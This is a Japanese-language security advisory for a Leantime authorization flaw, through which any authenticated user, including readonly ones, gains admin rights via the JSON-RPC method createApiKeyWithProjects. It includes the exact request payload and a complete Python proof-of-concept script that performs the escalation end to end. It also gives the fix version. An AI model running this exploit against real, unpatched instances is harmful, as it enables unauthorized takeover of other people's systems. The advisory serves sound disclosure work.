Leantime: 認証されたユーザーは、不正なJSON-RPCメソッドを使用して、管理者権限に昇格できる。

### 概要

Leantimeの認証されたユーザーであれば、最も低い権限の`readonly`ロールのユーザーを含む、すべてのユーザーが、攻撃者が指定した`role`値を設定して、`leantime.rpc.api.api.createApiKeyWithProjects`というJSON-RPCメソッドを呼び出すことで、完全な管理者権限を取得できる。サーバーは、この操作において、認証チェックを行わずに、指定された`role`を持つ新しいアカウントを作成し、その結果得られる認証情報は、通常のWebインターフェースを通じて、完全に機能する管理者ログインとして利用できる。同様の問題(JSON-RPCで公開されているサービスメソッドに対するメソッドごとの認証の欠如)により、`Plugins`サービスの`installPlugin`、`enablePlugin`、`disablePlugin`、および`removePlugin`メソッドも、Webインターフェースで同等の機能を使用する場合と異なり、認証されたユーザーであれば、ロールチェックなしで呼び出すことができる。

### 詳細

LeantimeのJSON-RPC API(`app/Domain/Api/Controllers/Jsonrpc.php`)は、`@api`という注釈が付いたすべてのサービスクラスの公開メソッドを反映し、`leantime.rpc.{domain}.{service}.{method}`というパスで提供する。メソッドごとの認証は、`PermissionEnforcer::enforce()`(`app/Core/Auth/Permissions/PermissionEnforcer.php`)によって行われる。この関数は、対象メソッドに付与された`#[RequiresPermission(...)]`というPHP属性を読み取るが、もしその属性が**存在しない**場合、`enforce()`関数は何もせずに処理を終了し、呼び出しを許可する。

`Api::createApiKeyWithProjects(array $values, ?array $projects)`(`app/Domain/Api/Services/Api.php`)は、`@api`で公開されており、`#[RequiresPermission]`属性は付与されていない。このメソッドは、呼び出し元から提供された`$values`(`role`パラメータを含む)を、サーバー側のチェックなしで、`createAPIKey()` → `Users\Repositories\Users::addUser()`に直接渡す。これにより、`role`の値が、呼び出し元のユーザーの権限レベルに対して制限されない。

```php
// app/Domain/Api/Services/Api.php
/**
* @api
*/
public function createApiKeyWithProjects(array $values, ?array $projects): array|false
{
$apiKeyValues = $this->createAPIKey($values); // #[RequiresPermission] は付与されていない、ロールチェックも行われていない
...
}
```

同様のウェブルート(`NewApiKey` コントローラー)では、アカウント作成時に管理者ロールのみが許可されるように制限されています(`Auth::authOrRedirect([Roles::$admin, ...])`)。しかし、この制限は、JSON-RPC を介して直接サービスを呼び出すことで完全に回避されます。

また、`Plugins::installPlugin()`, `enablePlugin()`, `disablePlugin()`, および `removePlugin()`(`app/Domain/Plugins/Services/Plugins.php`、約266/299/320/342行目)も同様の問題を抱えています。これら4つの関数は `@api` として公開されていますが、`#[RequiresPermission]` が付与されておらず、ウェブコントローラーの対応部分(`Myapps.php`, `Details.php`)では、正しく `Roles::$owner` または `Roles::$admin` が必要とされています。

JSON-RPC エンドポイントへの認証には、専用の API キーではなく、通常のブラウザセッションの Cookie で十分です。ただし、リクエストに `X-Requested-With: XMLHttpRequest` ヘッダーが含まれている必要があります(`app/Core/Middleware/StartSession.php`)。これは、アプリケーション自体の JavaScript クライアントがすでに送信しているものであり、通常の認証セッション以外に特別なツールは必要ありません。

### PoC (概念実証)

実行可能な Python の PoC(`requests` ライブラリのみを使用)が、この問題をエンドツーエンドで再現します。詳細は、添付ファイルの `poc.py` を参照してください。手順:

1. `readonly` ロールのユーザーとしてアカウントを作成または認証します(最も低い権限レベル)。管理者のみがアクセスできるページ(例:`/plugins/myapps`)へのアクセスが正しくブロックされていることを確認します(HTTP 403)。
2. 同じ低権限セッションから、以下のリクエストを送信します。
```
POST /api/jsonrpc
Content-Type: application/json
X-Requested-With: XMLHttpRequest
```

{"jsonrpc":"2.0","id":1,"method":"leantime.rpc.api.api.createApiKeyWithProjects",
"params":{"values":{"firstname":"poc","role":40,"status":"a"},"projects":[]}}
```
サーバーは、新たに作成されたアカウントの `user`/`passwordClean` と、JSONボディ内の `"role":40` (管理者) を `HTTP 200` で応答します。
3. 返された `user`/`passwordClean` を使用して、通常の `/auth/login` フォームからログインします。これにより、セッションは `/plugins/myapps` (HTTP 200) への完全なアクセス権を持つようになります。これは、ステップ1で403エラーを返したページです。

このリポジトリ自身の `.dev` Dockerツール (`.dev/docker-compose.yaml`) を使用して構築されたローカル環境で再現されました。依存関係は `composer install` / `npx mix` を使用してインストールされ、アプリケーションコードには変更が加えられていません。

### 影響

攻撃者が、認証済みアカウントを制御している、または登録/付与できる場合、Leantimeのインスタンスが完全に侵害される可能性があります。これには、最も低い権限の `readonly` ロールも含まれます。管理者権限の認証情報、トークン、または通常の低権限ログインを超えるアクセスは必要ありません。これは、認証から管理者権限への完全な昇格(CWE-862: 認証の欠如、CWE-269: 不適切な権限管理)です。上記で説明されているプラグイン管理の脆弱性と組み合わせることで、さらに任意でプラグインのインストール/有効化/無効化/削除が可能になり、同じ根本原因からコード実行レベルの影響につながる可能性があります。

スクリプト:poc.py
```python
#!/usr/bin/env python3
"""
このスクリプトは、ターゲットのLeantimeインスタンスに対して以下の処理を行います。
1. 権限の低いアカウント(デフォルトでは読み取り専用ロール)でログインします。
2. 通常のWeb UIから、管理者のみがアクセスできるページで、アカウントが正しくアクセス制限されていることを確認します(HTTP 403を期待)。これにより、エクスプロイトを実行する前に、そのアカウントが実際に管理者権限を持っていないことを確認します。
3. JSON-RPCを使用して、`leantime.rpc.api.api.createApiKeyWithProjects`を呼び出します。この際、そのアカウント自身の通常のセッションクッキーのみを使用し、`role=40`(管理者)を要求します。このステップでは、管理者/APIキーの認証情報は一切使用されません。あくまでステップ1で確立された権限の低いセッションのみを使用します。
4. ステップ3で生成されたユーザー名/パスワードを使用して、通常のWebログインフォームでログインし、そのアカウントが、ステップ2で元の権限の低いアカウントにアクセス制限をかけた管理者専用ページへのフルアクセス権限を持つことを確認します。(レコードは`source=''`として作成されます。`createAPIKey()`関数は、この列を設定しません。したがって、これはx-api-key認証情報としては機能しませんが、完全に機能する`role=40`のWebログインであり、影響のより強力で直接的な証拠となります。)

必要なもの:pip install requests

使用方法:
python3 poc.py --url http://localhost:5080 \\
--username lowpriv@leantime.test --password 'LowPriv123!'
"""

import argparse
import sys

import requests
```

```
def rpc_call(session: requests.Session, base_url: str, method: str, params: dict, extra_headers: dict | None = None):
"""JSON-RPCメソッドを呼び出します。X-Requested-Withヘッダーを送信することで、セッションベースの保護機能が、呼び出し元の実際の、永続化されたセッションをロードするようにします(StartSession.php:65を参照)。これがないと、APIリクエストは新しい、空の、メモリ上のセッションを取得し、ログイン状態に関わらず、すべての呼び出しで401エラーが発生します。"""
headers = {
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest",
}
if extra_headers:
headers.update(extra_headers)

resp = session.post(
f"{base_url}/api/jsonrpc",
json={"jsonrpc": "2.0", "id": 1, "method": method, "params": params},
headers=headers,
)
return resp

def main():
parser = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
parser.add_argument("--url", required=True, help="ターゲットのLeantimeインスタンスのベースURL。例:http://localhost:5080")
parser.add_argument("--username", required=True, help="権限が低いテストアカウントのメールアドレス(例:読み取り専用ロール)")
parser.add_argument("--password", required=True, help="そのアカウントのパスワード")
parser.add_argument("--admin-check-path", default="/plugins/myapps", help="アカウントが管理者権限を持っていないことを確認するために使用される、管理者専用のWebページ(デフォルト:/plugins/myapps)")
parser.add_argument("--insecure", action="store_true", help="TLSの検証を無効にします(ローカル/開発環境の自己署名証明書の場合)")
args = parser.parse_args()

verify = not args.insecure
base_url = args.url.rstrip("/")
s = requests.Session()
s.verify = verify

print(f"[*] ターゲット: {base_url}")
```

# ステップ1:通常のWebフォームを通じて、権限の低いアカウントでログインします。
print(f"[*] 権限の低いアカウントでログイン中: {args.username}")
s.get(f"{base_url}/auth/login") # セッションクッキーを準備
login_resp = s.post(
f"{base_url}/auth/login",
data={
"username": args.username,
"password": args.password,
"redirectUrl": "/dashboard/home", # 関連性のない空のredirectUrlによる500エラーを回避
},
allow_redirects=False,
)
if login_resp.status_code not in (302, 303):
print(f"[!] 期待されるリダイレクトが発生しませんでした (ステータスコード: {login_resp.status_code})。処理を中止します。")
sys.exit(1)
print("[+] ログインに成功しました (セッションクッキーが確立されました)。")

# ステップ2:Web UIを通じて、アカウントが実際に管理者権限を持っていないことを確認します。
check_resp = s.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
if check_resp.status_code == 403:
print(f"[+] 確認済み: Web UIが、このアカウントを{args.admin_check_path}から正しくブロックしています (HTTP 403)。")
else:
print(f"[!] {args.admin_check_path}から期待されるHTTP 403ではなく、{check_resp.status_code}が返されました。 "
f"処理は続行しますが、このアカウントが想定通り権限が低いとは限りません。")

# ステップ3:実際の権限昇格 -- 同じセッションを使用し、APIキーは使用しません。
print("[*] ステップ1で確立した、権限の低いセッションのみを使用して、leantime.rpc.api.api.createApiKeyWithProjectsをrole=40 (管理者)で呼び出します...")
esc_resp = rpc_call(
s,
base_url,
"leantime.rpc.api.api.createApiKeyWithProjects",
{"values": {"firstname": "poc-escalated-admin-key", "role": 40, "status": "a"}, "projects": []},
)

try:
esc_json = esc_resp.json()
except ValueError:
print(f"[!] JSON形式でないレスポンスが返されました (HTTP {esc_resp.status_code}): {esc_resp.text[:500]}")
sys.exit(1)

if "error" in esc_json:
print(f"[!] 攻撃の実行に失敗しました: {esc_json['error']}")
print(" (もしエラーが 'Method is not available via API' または AuthorizationException の場合、"
"ターゲットがすでに修正されている可能性があります。)")
sys.exit(1)

result = esc_json["result"]
new_user = result["user"]
new_pass = result["passwordClean"]
new_role = result["role"]
new_id = result["id"]
api_key = f"lt_{new_user}_{new_pass}"

print("[+] 脆弱性: サーバーが、攻撃者が指定した権限を持つ新しいアカウントを作成しました。"
"この際、呼び出し元の(権限の低い)アカウントに対する権限チェックが行われていません。")
print(f" 新しいアカウントのID: {new_id} 権限: {new_role} (40 は管理者権限)")
print(f" 生成された認証情報: ユーザー名: {new_user} パスワード: {new_pass}")
print(f" (通常のAPIキーの形式: {api_key} -- 詳細は下記を参照。)")

# ステップ4: 新しいアカウントが実際に管理者権限を持っていることを確認します。
# 通常のWebログインフォームを使用してログインし、元の権限の低いアカウントでアクセスがブロックされた管理者専用ページにアクセスします。
print("[*] 生成された認証情報を使用して、通常のWeb UIにログインします...")
admin_session = requests.Session()
admin_session.verify = verify
admin_session.get(f"{base_url}/auth/login")
admin_login_resp = admin_session.post(
f"{base_url}/auth/login",
data={"username": new_user, "password": new_pass, "redirectUrl": "/dashboard/home"},
allow_redirects=False,
)
if admin_login_resp.status_code not in (302, 303):
print(f"[!] 生成された認証情報を使用したWebログインに失敗しました (HTTP {admin_login_resp.status_code})。")
sys.exit(1)

```
admin_check_resp = admin_session.get(f"{base_url}{args.admin_check_path}", allow_redirects=False)
if admin_check_resp.status_code == 200:
print(f"[+] 確認済み: 低権限ユーザーが作成したアカウントが、{args.admin_check_path}への完全な、インタラクティブな管理者権限を持つようになりました (HTTP 200) -- これは、ステップ2で元のユーザーアカウントが403エラーを返したページそのものです。")
else:
print(f"[!] 期待されるHTTP 200レスポンスが、権限昇格されたアカウントで{args.admin_check_path}から返されませんでした。実際には{admin_check_resp.status_code}が返されました。")

if __name__ == "__main__":
main()
```

---

**保守者注記 (解決策):** ネイティブの権限エンジン (v3.9.0)によって対応済み: 影響を受けるJSON-RPCサービスメソッドには、#[RequiresPermission]が追加され、API境界で強制されます (ユーザー/クライアント/プロジェクトの変更には、適切な権限が必要です。editUser/patchUserによる自己権限昇格はブロックされます)。 残りの対策は、今後のリリースで提供されます。

影響を受けるパッケージ:
- Composer (PHP) leantime/leantime: 影響を受けるバージョンは3.10.0未満、修正されたバージョンは3.10.0。
```